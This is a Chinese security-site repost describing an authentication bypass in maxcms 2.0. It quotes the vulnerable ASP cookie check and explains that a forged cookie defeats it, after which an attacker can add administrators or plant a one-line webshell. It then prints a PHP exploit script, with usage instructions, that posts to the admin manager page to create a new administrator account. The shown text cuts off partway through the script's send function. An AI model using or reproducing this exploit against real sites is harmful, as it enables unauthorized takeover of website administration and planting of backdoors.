Linux安全网 - Linux操作系统_Linux 命令_Linux教程_Linux黑客

会员投稿 投稿指南 本期推荐:
搜索:
您的位置: Linux安全网 > Linux安全 > » 正文

maxcms管理员认证绕过漏洞

来源: 未知 分享至:

maxcms后台有自动升级功能,ajax的那个注射被修补了,但是这个漏洞还是没有修补。
在上一贴有同学问是否能绕过认证,答案是肯定的,但是前提是要知道后台目录地址

回顾下漏洞代码

  1. Sub checkPower  
  2.     dim loginValidate,rsObj : loginValidate = "maxcms2.0" 
  3.     err.clear  
  4.     on error resume next  
  5.     set rsObj=conn.db("select m_random,m_level from {pre}manager where m_username=\'"&rCookie("m_username")&"\'","execute")  
  6.     loginValidate = md5(getAgent&getIp&rsObj(0))  
  7.     if err then wCookie "check"&rCookie("m_username"),"" : die "<script>top.location.href=\'index.asp?action=login\';</script>" 
  8.     if rCookie("check"&rCookie("m_username"))<>loginValidate then wCookie "check"&rCookie("m_username"),"" : die "<script>top.location.href=\'index.asp?action=login\';</script>" 
  9.     checkManagerLevel  rsObj(1)  
  10.     set rsObj=nothing  
  11. End Sub 

其中

  1. Function rCookie(cookieName)  
  2.     rCookie = request.cookies(cookieName)  
  3. End Function 

关键就是这个变量的值 loginValidate = md5(getAgent&getIp&rsObj(0))
通过伪造cookie可以轻松绕过这段认证代码,之后就可以添加新管理员或者修改配置文件插入一句话木马

我这里贴一个添加新管理员的exp

 

  1. <?php  
  2. print_r(\'  
  3. +---------------------------------------------------------------------------+  
  4. maxcms2.0 creat new admin exploit  
  5. by Flyh4t  
  6. team:wolvez security team  
  7. site:bbs.wolvez.org  
  8. dork:salemax#qq.com  
  9. +---------------------------------------------------------------------------+  
  10. \');  
  11.  
  12. if ($argc < 3) {  
  13.     print_r(\'  
  14. +---------------------------------------------------------------------------+  
  15. Usage: php \'.$argv[0].\' host path  
  16. host:      target server (ip/hostname)  
  17. path:      path to maxcms  
  18. Example:  
  19. php \'.$argv[0].\' localhost /maxcms2/   
  20. +---------------------------------------------------------------------------+  
  21. \');  
  22.     exit;  
  23. }  
  24.  
  25. error_reporting(7);  
  26. ini_set(\'max_execution_time\', 0);  
  27.  
  28. $host = $argv[1];  
  29. $path = $argv[2];  
  30. $name = rand(1,10000);  
  31. $cmd = \'m_username=flyh4t\'.$name.\'&m_pwd=wolvez&m_pwd2=wolvez&m_level=0\';  
  32.  
  33. $resp = send($cmd);  
  34. if (!eregi(\'alert\',$resp)) {echo"[~]bad luck,exploit failed";exit;}  
  35.  
  36. print_r(\'  
  37. +----------------------------------------------------- 
  38. [+]cool,exploit seccuss  
  39. [+]you have add a new adminuser flyh4t\'.$name.\'/wolvez  
  40. +--------------------------------------------------------
  41. \');  
  42.  
  43.  
  44. function send($cmd)  
  45. {  
  46.     global $host$path;  
  47.     $message = "POST ".$path."admin/admin_manager.asp?action=add HTTP/1.1rn";  
  48.     $message .= "Accept: */*rn";  
  49.     $message .= "Referer: http://$host$pathrn"

最新图文资讯
1 2 3 4 5 6
验证码:点击我更换图片 理智评论文明上网,拒绝恶意谩骂 用户名:
关于我们 - 联系我们 - 广告服务 - 友情链接 - 网站地图 - 版权声明 - 发展历史